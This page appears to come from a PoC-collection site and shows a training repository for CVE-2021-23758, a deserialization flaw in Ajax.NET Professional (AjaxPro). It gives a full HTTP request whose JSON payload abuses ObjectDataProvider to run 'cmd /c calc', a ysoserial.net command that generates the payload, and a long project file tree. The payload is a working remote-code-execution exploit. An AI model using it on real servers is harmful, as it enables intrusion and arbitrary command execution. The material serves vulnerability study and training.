Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-23758 PoC — Ajax.NET Professional 代码问题漏洞

Source
Associated Vulnerability
Title:Ajax.NET Professional 代码问题漏洞 (CVE-2021-23758)
Description:Ajax.NET Professional是Ajax.NET Professional (AjaxPro) 是最早可用于 Microsoft ASP.NET 的 AJAX 框架之一。 Ajax.NET Professional 存在安全漏洞,该漏洞源于存在反序列化任意.NET类的可能性。攻击者可利用该漏洞执行反序列化攻击,进而远程执行代码。
Readme
# CVE-2021-23758-POC


this repo has been created for training on the vulnerability in the ajaxpro. disclosed with the ID number CVE-2021-23758.


# POC 

```
POST /ajaxpro/CVE_2021_23758_POC.demo,CVE_2021_23758.ashx HTTP/2
Host: localhost:44375
Content-Length: 567
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
X-Ajaxpro-Method: TestAjax
Content-Type: text/plain; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://localhost:44375
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost:44375/demo
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

{"obj":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd",
			"Arguments":"/c calc"
        }
    }
}}
```

```
ysoserial-net -g ObjectDataProvider -f JavaScriptSerializer -c "calc" -o raw
```

![Back-Code](img/repo.jpg?raw=true "B-Code")

![Code](img/code.jpg?raw=true "Code")

![Exploit](img/calc.jpg?raw=true "Calc")


# Reference
 * [2021-23758 Mitre](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-23758)
 * [michaelschwarz/Ajax.NET-Professional](https://github.com/michaelschwarz/Ajax.NET-Professional)
 * [Details](https://mp.weixin.qq.com/s/7y-iyMMZAoN4B2dGvCFvXg)
 * [sirifu4k1 tweet](https://twitter.com/sirifu4k1/status/1470647490546393089)
 * [ysoserial](https://github.com/pwntester/ysoserial.net)


File Snapshot

[4.0K] /data/pocs/120b6665d49583264e066b3452e2f220a0bd99ae ├── [4.0K] code │   ├── [4.0K] App_Start │   │   ├── [1.9K] BundleConfig.cs │   │   └── [ 464] RouteConfig.cs │   ├── [4.0K] bin │   │   ├── [140K] AjaxPro.2.dll │   │   ├── [310K] AjaxPro.2.pdb │   │   ├── [101K] Antlr3.Runtime.dll │   │   ├── [426K] Antlr3.Runtime.pdb │   │   ├── [5.5K] AspNet.ScriptManager.bootstrap.dll │   │   ├── [5.5K] AspNet.ScriptManager.jQuery.dll │   │   ├── [ 10K] CVE-2021-23758.dll │   │   ├── [ 10K] CVE_2021_23758.dll │   │   ├── [2.2K] CVE-2021-23758.dll.config │   │   ├── [2.6K] CVE_2021_23758.dll.config │   │   ├── [ 26K] CVE-2021-23758.pdb │   │   ├── [ 26K] CVE_2021_23758.pdb │   │   ├── [ 45K] Microsoft.AspNet.FriendlyUrls.dll │   │   ├── [ 16K] Microsoft.AspNet.FriendlyUrls.xml │   │   ├── [ 15K] Microsoft.AspNet.Web.Optimization.WebForms.dll │   │   ├── [ 39K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll │   │   ├── [1.7K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.xml │   │   ├── [ 15K] Microsoft.ScriptManager.MSAjax.dll │   │   ├── [ 13K] Microsoft.ScriptManager.WebForms.dll │   │   ├── [ 44K] Microsoft.Web.Infrastructure.dll │   │   ├── [649K] Newtonsoft.Json.dll │   │   ├── [658K] Newtonsoft.Json.xml │   │   ├── [4.0K] roslyn │   │   │   ├── [ 48K] csc.exe │   │   │   ├── [7.9K] csc.exe.config │   │   │   ├── [1.4K] csc.rsp │   │   │   ├── [ 15K] csi.exe │   │   │   ├── [8.5K] csi.exe.config │   │   │   ├── [ 266] csi.rsp │   │   │   ├── [120K] Microsoft.Build.Tasks.CodeAnalysis.dll │   │   │   ├── [4.5M] Microsoft.CodeAnalysis.CSharp.dll │   │   │   ├── [ 28K] Microsoft.CodeAnalysis.CSharp.Scripting.dll │   │   │   ├── [2.3M] Microsoft.CodeAnalysis.dll │   │   │   ├── [125K] Microsoft.CodeAnalysis.Scripting.dll │   │   │   ├── [5.0M] Microsoft.CodeAnalysis.VisualBasic.dll │   │   │   ├── [6.5K] Microsoft.CSharp.Core.targets │   │   │   ├── [1.4M] Microsoft.DiaSymReader.Native.amd64.dll │   │   │   ├── [1.1M] Microsoft.DiaSymReader.Native.x86.dll │   │   │   ├── [6.7K] Microsoft.Managed.Core.targets │   │   │   ├── [6.0K] Microsoft.VisualBasic.Core.targets │   │   │   ├── [ 20K] System.AppContext.dll │   │   │   ├── [239K] System.Collections.Immutable.dll │   │   │   ├── [ 34K] System.Console.dll │   │   │   ├── [ 23K] System.Diagnostics.FileVersionInfo.dll │   │   │   ├── [ 23K] System.Diagnostics.StackTrace.dll │   │   │   ├── [109K] System.IO.Compression.dll │   │   │   ├── [ 22K] System.IO.FileSystem.dll │   │   │   ├── [ 22K] System.IO.FileSystem.Primitives.dll │   │   │   ├── [ 24K] System.IO.Pipes.AccessControl.dll │   │   │   ├── [ 22K] System.IO.Pipes.dll │   │   │   ├── [454K] System.Reflection.Metadata.dll │   │   │   ├── [ 37K] System.Security.AccessControl.dll │   │   │   ├── [ 24K] System.Security.Claims.dll │   │   │   ├── [ 39K] System.Security.Cryptography.Algorithms.dll │   │   │   ├── [ 23K] System.Security.Cryptography.Encoding.dll │   │   │   ├── [ 22K] System.Security.Cryptography.Primitives.dll │   │   │   ├── [ 38K] System.Security.Cryptography.X509Certificates.dll │   │   │   ├── [ 23K] System.Security.Principal.Windows.dll │   │   │   ├── [749K] System.Text.Encoding.CodePages.dll │   │   │   ├── [ 76K] System.ValueTuple.dll │   │   │   ├── [ 23K] System.Xml.ReaderWriter.dll │   │   │   ├── [ 23K] System.Xml.XmlDocument.dll │   │   │   ├── [ 22K] System.Xml.XPath.dll │   │   │   ├── [ 25K] System.Xml.XPath.XDocument.dll │   │   │   ├── [ 48K] vbc.exe │   │   │   ├── [7.9K] vbc.exe.config │   │   │   ├── [1.5K] vbc.rsp │   │   │   ├── [ 86K] VBCSCompiler.exe │   │   │   └── [8.1K] VBCSCompiler.exe.config │   │   ├── [ 69K] System.Web.Optimization.dll │   │   ├── [ 49K] System.Web.Optimization.xml │   │   ├── [4.0K] tr │   │   │   ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll │   │   │   └── [ 13K] System.Web.Optimization.resources.dll │   │   └── [1.2M] WebGrease.dll │   ├── [ 220] Bundle.config │   ├── [ 713] Contact.aspx │   ├── [ 309] Contact.aspx.cs │   ├── [ 441] Contact.aspx.designer.cs │   ├── [4.0K] Content │   │   ├── [143K] bootstrap.css │   │   ├── [382K] bootstrap.css.map │   │   ├── [119K] bootstrap.min.css │   │   ├── [528K] bootstrap.min.css.map │   │   ├── [ 25K] bootstrap-theme.css │   │   ├── [ 47K] bootstrap-theme.css.map │   │   ├── [ 23K] bootstrap-theme.min.css │   │   ├── [ 74K] bootstrap-theme.min.css.map │   │   └── [ 595] Site.css │   ├── [ 14K] CVE_2021_23758.csproj │   ├── [1.4K] CVE_2021_23758.csproj.user │   ├── [1.6K] CVE_2021_23758_POC.sln │   ├── [1.9K] Default.aspx │   ├── [ 310] Default.aspx.cs │   ├── [ 466] Default.aspx.designer.cs │   ├── [ 743] demo.aspx │   ├── [ 567] demo.aspx.cs │   ├── [ 798] demo.aspx.designer.cs │   ├── [ 31K] favicon.ico │   ├── [4.0K] fonts │   │   ├── [ 20K] glyphicons-halflings-regular.eot │   │   ├── [106K] glyphicons-halflings-regular.svg │   │   ├── [ 44K] glyphicons-halflings-regular.ttf │   │   ├── [ 23K] glyphicons-halflings-regular.woff │   │   └── [ 18K] glyphicons-halflings-regular.woff2 │   ├── [ 101] Global.asax │   ├── [ 547] Global.asax.cs │   ├── [4.0K] obj │   │   └── [4.0K] Debug │   │   ├── [ 424] CVE-2021-23758.csprojAssemblyReference.cache │   │   ├── [6.7K] CVE_2021_23758.csprojAssemblyReference.cache │   │   ├── [ 0] CVE-2021-23758.csproj.CopyComplete │   │   ├── [ 0] CVE_2021_23758.csproj.CopyComplete │   │   ├── [6.0K] CVE-2021-23758.csproj.FileListAbsolute.txt │   │   ├── [6.0K] CVE_2021_23758.csproj.FileListAbsolute.txt │   │   ├── [ 10K] CVE-2021-23758.dll │   │   ├── [ 10K] CVE_2021_23758.dll │   │   ├── [ 26K] CVE-2021-23758.pdb │   │   ├── [ 26K] CVE_2021_23758.pdb │   │   ├── [ 14K] DesignTimeResolveAssemblyReferencesInput.cache │   │   └── [4.4K] WebApplication1.csprojAssemblyReference.cache │   ├── [4.0K] packages │   │   ├── [4.0K] Antlr.3.5.0.2 │   │   │   ├── [153K] Antlr.3.5.0.2.nupkg │   │   │   └── [4.0K] lib │   │   │   ├── [101K] Antlr3.Runtime.dll │   │   │   └── [426K] Antlr3.Runtime.pdb │   │   ├── [4.0K] AspNet.ScriptManager.bootstrap.3.4.1 │   │   │   ├── [ 16K] AspNet.ScriptManager.bootstrap.3.4.1.nupkg │   │   │   └── [4.0K] lib │   │   │   ├── [4.0K] net40 │   │   │   │   └── [5.5K] AspNet.ScriptManager.bootstrap.dll │   │   │   └── [4.0K] net45 │   │   │   └── [5.5K] AspNet.ScriptManager.bootstrap.dll │   │   ├── [4.0K] AspNet.ScriptManager.jQuery.3.3.1 │   │   │   ├── [ 16K] AspNet.ScriptManager.jQuery.3.3.1.nupkg │   │   │   └── [4.0K] lib │   │   │   ├── [4.0K] net40 │   │   │   │   └── [5.5K] AspNet.ScriptManager.jQuery.dll │   │   │   └── [4.0K] net45 │   │   │   └── [5.5K] AspNet.ScriptManager.jQuery.dll │   │   ├── [4.0K] bootstrap.3.4.1 │   │   │   ├── [741K] bootstrap.3.4.1.nupkg │   │   │   ├── [4.0K] content │   │   │   │   ├── [4.0K] Content │   │   │   │   │   ├── [143K] bootstrap.css │   │   │   │   │   ├── [382K] bootstrap.css.map │   │   │   │   │   ├── [119K] bootstrap.min.css │   │   │   │   │   ├── [528K] bootstrap.min.css.map │   │   │   │   │   ├── [ 25K] bootstrap-theme.css │   │   │   │   │   ├── [ 47K] bootstrap-theme.css.map │   │   │   │   │   ├── [ 23K] bootstrap-theme.min.css │   │   │   │   │   └── [ 74K] bootstrap-theme.min.css.map │   │   │   │   ├── [4.0K] fonts │   │   │   │   │   ├── [ 20K] glyphicons-halflings-regular.eot │   │   │   │   │   ├── [106K] glyphicons-halflings-regular.svg │   │   │   │   │   ├── [ 44K] glyphicons-halflings-regular.ttf │   │   │   │   │   ├── [ 23K] glyphicons-halflings-regular.woff │   │   │   │   │   └── [ 18K] glyphicons-halflings-regular.woff2 │   │   │   │   └── [4.0K] Scripts │   │   │   │   ├── [ 74K] bootstrap.js │   │   │   │   └── [ 39K] bootstrap.min.js │   │   │   ├── [4.0K] contentFiles │   │   │   │   ├── [4.0K] Content │   │   │   │   │   ├── [143K] bootstrap.css │   │   │   │   │   ├── [382K] bootstrap.css.map │   │   │   │   │   ├── [119K] bootstrap.min.css │   │   │   │   │   ├── [528K] bootstrap.min.css.map │   │   │   │   │   ├── [ 25K] bootstrap-theme.css │   │   │   │   │   ├── [ 47K] bootstrap-theme.css.map │   │   │   │   │   ├── [ 23K] bootstrap-theme.min.css │   │   │   │   │   └── [ 74K] bootstrap-theme.min.css.map │   │   │   │   ├── [4.0K] fonts │   │   │   │   │   ├── [ 20K] glyphicons-halflings-regular.eot │   │   │   │   │   ├── [106K] glyphicons-halflings-regular.svg │   │   │   │   │   ├── [ 44K] glyphicons-halflings-regular.ttf │   │   │   │   │   ├── [ 23K] glyphicons-halflings-regular.woff │   │   │   │   │   └── [ 18K] glyphicons-halflings-regular.woff2 │   │   │   │   └── [4.0K] Scripts │   │   │   │   ├── [ 74K] bootstrap.js │   │   │   │   └── [ 39K] bootstrap.min.js │   │   │   └── [1.1K] LICENSE.txt │   │   ├── [4.0K] jQuery.3.3.1 │   │   │   ├── [4.0K] Content │   │   │   │   └── [4.0K] Scripts │   │   │   │   ├── [265K] jquery-3.3.1.js │   │   │   │   ├── [ 85K] jquery-3.3.1.min.js │   │   │   │   ├── [129K] jquery-3.3.1.min.map │   │   │   │   ├── [214K] jquery-3.3.1.slim.js │   │   │   │   ├── [ 68K] jquery-3.3.1.slim.min.js │   │   │   │   ├── [103K] jquery-3.3.1.slim.min.map │   │   │   │   └── [242K] jquery-3.3.1-vsdoc.js │   │   │   ├── [366K] jQuery.3.3.1.nupkg │   │   │   └── [4.0K] Tools │   │   │   ├── [3.8K] common.ps1 │   │   │   ├── [1.3K] install.ps1 │   │   │   ├── [156K] jquery-3.3.1.intellisense.js │   │   │   └── [1.5K] uninstall.ps1 │   │   ├── [4.0K] Microsoft.AspNet.FriendlyUrls.1.0.2 │   │   │   ├── [4.0K] Content │   │   │   │   ├── [4.0K] App_Start │   │   │   │   │   └── [ 464] RouteConfig.cs.pp │   │   │   │   ├── [ 330] Site.Mobile.Master.cs.pp │   │   │   │   ├── [1.7K] Site.Mobile.Master.designer.cs.pp │   │   │   │   ├── [ 858] Site.Mobile.Master.pp │   │   │   │   ├── [1.6K] ViewSwitcher.ascx.cs.pp │   │   │   │   ├── [ 448] ViewSwitcher.ascx.designer.cs.pp │   │   │   │   └── [ 269] ViewSwitcher.ascx.pp │   │   │   ├── [ 16K] Microsoft.AspNet.FriendlyUrls.1.0.2.nupkg │   │   │   └── [1.6K] readme.txt │   │   ├── [4.0K] Microsoft.AspNet.FriendlyUrls.Core.1.0.2 │   │   │   ├── [4.0K] lib │   │   │   │   ├── [4.0K] net40 │   │   │   │   │   ├── [ 45K] Microsoft.AspNet.FriendlyUrls.dll │   │   │   │   │   ├── [ 14K] Microsoft.AspNet.FriendlyUrls.xml │   │   │   │   │   └── [4.0K] tr │   │   │   │   │   ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll │   │   │   │   │   └── [ 12K] Microsoft.AspNet.FriendlyUrls.xml │   │   │   │   └── [4.0K] net45 │   │   │   │   ├── [ 45K] Microsoft.AspNet.FriendlyUrls.dll │   │   │   │   ├── [ 16K] Microsoft.AspNet.FriendlyUrls.xml │   │   │   │   └── [4.0K] tr │   │   │   │   ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll │   │   │   │   └── [ 14K] Microsoft.AspNet.FriendlyUrls.xml │   │   │   └── [ 62K] Microsoft.AspNet.FriendlyUrls.Core.1.0.2.nupkg │   │   ├── [4.0K] Microsoft.AspNet.FriendlyUrls.Core.tr.1.0.2 │   │   │   ├── [4.0K] lib │   │   │   │   ├── [4.0K] net40 │   │   │   │   │   └── [4.0K] tr │   │   │   │   │   ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll │   │   │   │   │   └── [ 12K] Microsoft.AspNet.FriendlyUrls.xml │   │   │   │   └── [4.0K] net45 │   │   │   │   └── [4.0K] tr │   │   │   │   ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll │   │   │   │   └── [ 14K] Microsoft.AspNet.FriendlyUrls.xml │   │   │   └── [ 30K] Microsoft.AspNet.FriendlyUrls.Core.tr.1.0.2.nupkg │   │   ├── [4.0K] Microsoft.AspNet.ScriptManager.MSAjax.5.0.0 │   │   │   ├── [4.0K] content │   │   │   │   └── [4.0K] Scripts │   │   │   │   └── [4.0K] WebForms │   │   │   │   └── [4.0K] MSAjax │   │   │   │   ├── [8.8K] MicrosoftAjaxApplicationServices.js │   │   │   │   ├── [ 24K] MicrosoftAjaxComponentModel.js │   │   │   │   ├── [ 26K] MicrosoftAjaxCore.js │   │   │   │   ├── [ 20K] MicrosoftAjaxGlobalization.js │   │   │   │   ├── [6.6K] MicrosoftAjaxHistory.js │   │   │   │   ├── [ 97K] MicrosoftAjax.js │   │   │   │   ├── [ 13K] MicrosoftAjaxNetwork.js │   │   │   │   ├── [5.7K] MicrosoftAjaxSerialization.js │   │   │   │   ├── [2.6K] MicrosoftAjaxTimer.js │   │   │   │   ├── [ 39K] MicrosoftAjaxWebForms.js │   │   │   │   └── [4.7K] MicrosoftAjaxWebServices.js │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] net45 │   │   │   │   └── [ 15K] Microsoft.ScriptManager.MSAjax.dll │   │   │   └── [ 85K] Microsoft.AspNet.ScriptManager.MSAjax.5.0.0.nupkg │   │   ├── [4.0K] Microsoft.AspNet.ScriptManager.WebForms.5.0.0 │   │   │   ├── [4.0K] content │   │   │   │   └── [4.0K] Scripts │   │   │   │   └── [4.0K] WebForms │   │   │   │   ├── [1.3K] DetailsView.js │   │   │   │   ├── [2.9K] Focus.js │   │   │   │   ├── [1.4K] GridView.js │   │   │   │   ├── [ 32K] Menu.js │   │   │   │   ├── [ 26K] MenuStandards.js │   │   │   │   ├── [ 10K] SmartNav.js │   │   │   │   ├── [9.0K] TreeView.js │   │   │   │   ├── [ 21K] WebForms.js │   │   │   │   ├── [ 26K] WebParts.js │   │   │   │   └── [ 26K] WebUIValidation.js │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] net45 │   │   │   │   └── [ 13K] Microsoft.ScriptManager.WebForms.dll │   │   │   └── [ 52K] Microsoft.AspNet.ScriptManager.WebForms.5.0.0.nupkg │   │   ├── [4.0K] Microsoft.AspNet.Web.Optimization.1.1.3 │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] net40 │   │   │   │   ├── [ 69K] System.Web.Optimization.dll │   │   │   │   ├── [ 49K] system.web.optimization.xml │   │   │   │   └── [4.0K] tr │   │   │   │   └── [ 13K] System.Web.Optimization.resources.dll │   │   │   └── [ 52K] Microsoft.AspNet.Web.Optimization.1.1.3.nupkg │   │   ├── [4.0K] Microsoft.AspNet.Web.Optimization.tr.1.1.3 │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] net40 │   │   │   │   └── [4.0K] tr │   │   │   │   └── [ 13K] System.Web.Optimization.resources.dll │   │   │   └── [ 19K] Microsoft.AspNet.Web.Optimization.tr.1.1.3.nupkg │   │   ├── [4.0K] Microsoft.AspNet.Web.Optimization.WebForms.1.1.3 │   │   │   ├── [4.0K] content │   │   │   │   └── [ 281] web.config.transform │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] net45 │   │   │   │   └── [ 15K] Microsoft.AspNet.Web.Optimization.WebForms.dll │   │   │   └── [ 21K] Microsoft.AspNet.Web.Optimization.WebForms.1.1.3.nupkg │   │   ├── [4.0K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.2.0.0 │   │   │   ├── [4.0K] build │   │   │   │   ├── [4.0K] net45 │   │   │   │   │   ├── [ 267] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.Extensions.props │   │   │   │   │   └── [5.3K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props │   │   │   │   └── [4.0K] net46 │   │   │   │   ├── [ 271] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.Extensions.props │   │   │   │   └── [5.3K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props │   │   │   ├── [4.0K] content │   │   │   │   ├── [4.0K] net45 │   │   │   │   │   ├── [2.3K] app.config.install.xdt │   │   │   │   │   ├── [ 966] app.config.uninstall.xdt │   │   │   │   │   ├── [2.0K] web.config.install.xdt │   │   │   │   │   └── [ 720] web.config.uninstall.xdt │   │   │   │   └── [4.0K] net46 │   │   │   │   ├── [2.3K] app.config.install.xdt │   │   │   │   ├── [ 966] app.config.uninstall.xdt │   │   │   │   ├── [2.0K] web.config.install.xdt │   │   │   │   └── [ 720] web.config.uninstall.xdt │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] net45 │   │   │   │   ├── [ 39K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll │   │   │   │   └── [1.7K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.xml │   │   │   ├── [ 13M] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.2.0.0.nupkg │   │   │   └── [4.0K] tools │   │   │   ├── [4.0K] net45 │   │   │   │   ├── [ 15K] install.ps1 │   │   │   │   └── [ 13K] uninstall.ps1 │   │   │   ├── [4.0K] Roslyn45 │   │   │   │   ├── [ 49K] csc.exe │   │   │   │   ├── [1.6K] csc.exe.config │   │   │   │   ├── [1.4K] csc.rsp │   │   │   │   ├── [ 13K] csi.exe │   │   │   │   ├── [ 241] csi.rsp │   │   │   │   ├── [103K] Microsoft.Build.Tasks.CodeAnalysis.dll │   │   │   │   ├── [4.0M] Microsoft.CodeAnalysis.CSharp.dll │   │   │   │   ├── [ 27K] Microsoft.CodeAnalysis.CSharp.Scripting.dll │   │   │   │   ├── [2.0M] Microsoft.CodeAnalysis.dll │   │   │   │   ├── [125K] Microsoft.CodeAnalysis.Scripting.dll │   │   │   │   ├── [4.8M] Microsoft.CodeAnalysis.VisualBasic.dll │   │   │   │   ├── [6.6K] Microsoft.CSharp.Core.targets │   │   │   │   ├── [1.2M] Microsoft.DiaSymReader.Native.amd64.dll │   │   │   │   ├── [945K] Microsoft.DiaSymReader.Native.x86.dll │   │   │   │   ├── [6.1K] Microsoft.VisualBasic.Core.targets │   │   │   │   ├── [ 20K] System.AppContext.dll │   │   │   │   ├── [196K] System.Collections.Immutable.dll │   │   │   │   ├── [ 22K] System.Diagnostics.StackTrace.dll │   │   │   │   ├── [ 20K] System.IO.FileSystem.dll │   │   │   │   ├── [ 20K] System.IO.FileSystem.Primitives.dll │   │   │   │   ├── [416K] System.Reflection.Metadata.dll │   │   │   │   ├── [ 49K] vbc.exe │   │   │   │   ├── [1.6K] vbc.exe.config │   │   │   │   ├── [1.5K] vbc.rsp │   │   │   │   ├── [ 84K] VBCSCompiler.exe │   │   │   │   └── [1.8K] VBCSCompiler.exe.config │   │   │   └── [4.0K] RoslynLatest │   │   │   ├── [ 48K] csc.exe │   │   │   ├── [7.9K] csc.exe.config │   │   │   ├── [1.4K] csc.rsp │   │   │   ├── [ 15K] csi.exe │   │   │   ├── [8.5K] csi.exe.config │   │   │   ├── [ 266] csi.rsp │   │   │   ├── [120K] Microsoft.Build.Tasks.CodeAnalysis.dll │   │   │   ├── [4.5M] Microsoft.CodeAnalysis.CSharp.dll │   │   │   ├── [ 28K] Microsoft.CodeAnalysis.CSharp.Scripting.dll │   │   │   ├── [2.3M] Microsoft.CodeAnalysis.dll │   │   │   ├── [125K] Microsoft.CodeAnalysis.Scripting.dll │   │   │   ├── [5.0M] Microsoft.CodeAnalysis.VisualBasic.dll │   │   │   ├── [6.5K] Microsoft.CSharp.Core.targets │   │   │   ├── [1.4M] Microsoft.DiaSymReader.Native.amd64.dll │   │   │   ├── [1.1M] Microsoft.DiaSymReader.Native.x86.dll │   │   │   ├── [6.7K] Microsoft.Managed.Core.targets │   │   │   ├── [6.0K] Microsoft.VisualBasic.Core.targets │   │   │   ├── [ 20K] System.AppContext.dll │   │   │   ├── [239K] System.Collections.Immutable.dll │   │   │   ├── [ 34K] System.Console.dll │   │   │   ├── [ 23K] System.Diagnostics.FileVersionInfo.dll │   │   │   ├── [ 23K] System.Diagnostics.StackTrace.dll │   │   │   ├── [109K] System.IO.Compression.dll │   │   │   ├── [ 22K] System.IO.FileSystem.dll │   │   │   ├── [ 22K] System.IO.FileSystem.Primitives.dll │   │   │   ├── [ 24K] System.IO.Pipes.AccessControl.dll │   │   │   ├── [ 22K] System.IO.Pipes.dll │   │   │   ├── [454K] System.Reflection.Metadata.dll │   │   │   ├── [ 37K] System.Security.AccessControl.dll │   │   │   ├── [ 24K] System.Security.Claims.dll │   │   │   ├── [ 39K] System.Security.Cryptography.Algorithms.dll │   │   │   ├── [ 23K] System.Security.Cryptography.Encoding.dll │   │   │   ├── [ 22K] System.Security.Cryptography.Primitives.dll │   │   │   ├── [ 38K] System.Security.Cryptography.X509Certificates.dll │   │   │   ├── [ 23K] System.Security.Principal.Windows.dll │   │   │   ├── [749K] System.Text.Encoding.CodePages.dll │   │   │   ├── [ 76K] System.ValueTuple.dll │   │   │   ├── [ 23K] System.Xml.ReaderWriter.dll │   │   │   ├── [ 23K] System.Xml.XmlDocument.dll │   │   │   ├── [ 22K] System.Xml.XPath.dll │   │   │   ├── [ 25K] System.Xml.XPath.XDocument.dll │   │   │   ├── [ 48K] vbc.exe │   │   │   ├── [7.9K] vbc.exe.config │   │   │   ├── [1.5K] vbc.rsp │   │   │   ├── [ 86K] VBCSCompiler.exe │   │   │   └── [8.1K] VBCSCompiler.exe.config │   │   ├── [4.0K] Microsoft.Web.Infrastructure.1.0.0.0 │   │   │   ├── [4.0K] lib │   │   │   │   └── [4.0K] net40 │   │   │   │   └── [ 44K] Microsoft.Web.Infrastructure.dll │   │   │   └── [ 34K] Microsoft.Web.Infrastructure.1.0.0.0.nupkg │   │   ├── [4.0K] Modernizr.2.8.3 │   │   │   ├── [4.0K] Content │   │   │   │   └── [4.0K] Scripts │   │   │   │   └── [ 50K] modernizr-2.8.3.js │   │   │   ├── [ 30K] Modernizr.2.8.3.nupkg │   │   │   └── [4.0K] Tools │   │   │   ├── [2.9K] common.ps1 │   │   │   ├── [ 333] install.ps1 │   │   │   └── [ 189] uninstall.ps1 │   │   ├── [4.0K] Newtonsoft.Json.11.0.1 │   │   │   ├── [4.0K] lib │   │   │   │   ├── [4.0K] net20 │   │   │   │   │   ├── [501K] Newtonsoft.Json.dll │   │   │   │   │   └── [559K] Newtonsoft.Json.xml │   │   │   │   ├── [4.0K] net35 │   │   │   │   │   ├── [464K] Newtonsoft.Json.dll │   │   │   │   │   └── [505K] Newtonsoft.Json.xml │   │   │   │   ├── [4.0K] net40 │   │   │   │   │   ├── [530K] Newtonsoft.Json.dll │   │   │   │   │   └── [517K] Newtonsoft.Json.xml │   │   │   │   ├── [4.0K] net45 │   │   │   │   │   ├── [649K] Newtonsoft.Json.dll │   │   │   │   │   └── [658K] Newtonsoft.Json.xml │   │   │   │   ├── [4.0K] netstandard1.0 │   │   │   │   │   ├── [619K] Newtonsoft.Json.dll │   │   │   │   │   └── [639K] Newtonsoft.Json.xml │   │   │   │   ├── [4.0K] netstandard1.3 │   │   │   │   │   ├── [638K] Newtonsoft.Json.dll │   │   │   │   │   └── [645K] Newtonsoft.Json.xml │   │   │   │   ├── [4.0K] netstandard2.0 │   │   │   │   │   ├── [643K] Newtonsoft.Json.dll │   │   │   │   │   └── [657K] Newtonsoft.Json.xml │   │   │   │   ├── [4.0K] portable-net40%2Bsl5%2Bwin8%2Bwp8%2Bwpa81 │   │   │   │   │   ├── [431K] Newtonsoft.Json.dll │   │   │   │   │   └── [480K] Newtonsoft.Json.xml │   │   │   │   └── [4.0K] portable-net45%2Bwin8%2Bwp8%2Bwpa81 │   │   │   │   ├── [618K] Newtonsoft.Json.dll │   │   │   │   └── [639K] Newtonsoft.Json.xml │   │   │   ├── [1.1K] LICENSE.md │   │   │   └── [2.3M] Newtonsoft.Json.11.0.1.nupkg │   │   └── [4.0K] WebGrease.1.6.0 │   │   ├── [4.0K] lib │   │   │   └── [1.2M] WebGrease.dll │   │   ├── [4.0K] tools │   │   │   └── [ 28K] WG.EXE │   │   └── [463K] WebGrease.1.6.0.nupkg │   ├── [1.6K] packages.config │   ├── [4.0K] Properties │   │   └── [1.4K] AssemblyInfo.cs │   ├── [4.0K] Scripts │   │   ├── [ 74K] bootstrap.js │   │   ├── [ 39K] bootstrap.min.js │   │   ├── [156K] jquery-3.3.1.intellisense.js │   │   ├── [265K] jquery-3.3.1.js │   │   ├── [ 85K] jquery-3.3.1.min.js │   │   ├── [129K] jquery-3.3.1.min.map │   │   ├── [214K] jquery-3.3.1.slim.js │   │   ├── [ 68K] jquery-3.3.1.slim.min.js │   │   ├── [103K] jquery-3.3.1.slim.min.map │   │   ├── [ 50K] modernizr-2.8.3.js │   │   └── [4.0K] WebForms │   │   ├── [1.3K] DetailsView.js │   │   ├── [2.9K] Focus.js │   │   ├── [1.4K] GridView.js │   │   ├── [ 32K] Menu.js │   │   ├── [ 26K] MenuStandards.js │   │   ├── [4.0K] MSAjax │   │   │   ├── [8.8K] MicrosoftAjaxApplicationServices.js │   │   │   ├── [ 24K] MicrosoftAjaxComponentModel.js │   │   │   ├── [ 26K] MicrosoftAjaxCore.js │   │   │   ├── [ 20K] MicrosoftAjaxGlobalization.js │   │   │   ├── [6.6K] MicrosoftAjaxHistory.js │   │   │   ├── [ 97K] MicrosoftAjax.js │   │   │   ├── [ 13K] MicrosoftAjaxNetwork.js │   │   │   ├── [5.7K] MicrosoftAjaxSerialization.js │   │   │   ├── [2.6K] MicrosoftAjaxTimer.js │   │   │   ├── [ 39K] MicrosoftAjaxWebForms.js │   │   │   └── [4.7K] MicrosoftAjaxWebServices.js │   │   ├── [ 10K] SmartNav.js │   │   ├── [9.0K] TreeView.js │   │   ├── [ 21K] WebForms.js │   │   ├── [ 26K] WebParts.js │   │   └── [ 26K] WebUIValidation.js │   ├── [3.5K] Site.Master │   ├── [ 318] Site.Master.cs │   ├── [1.2K] 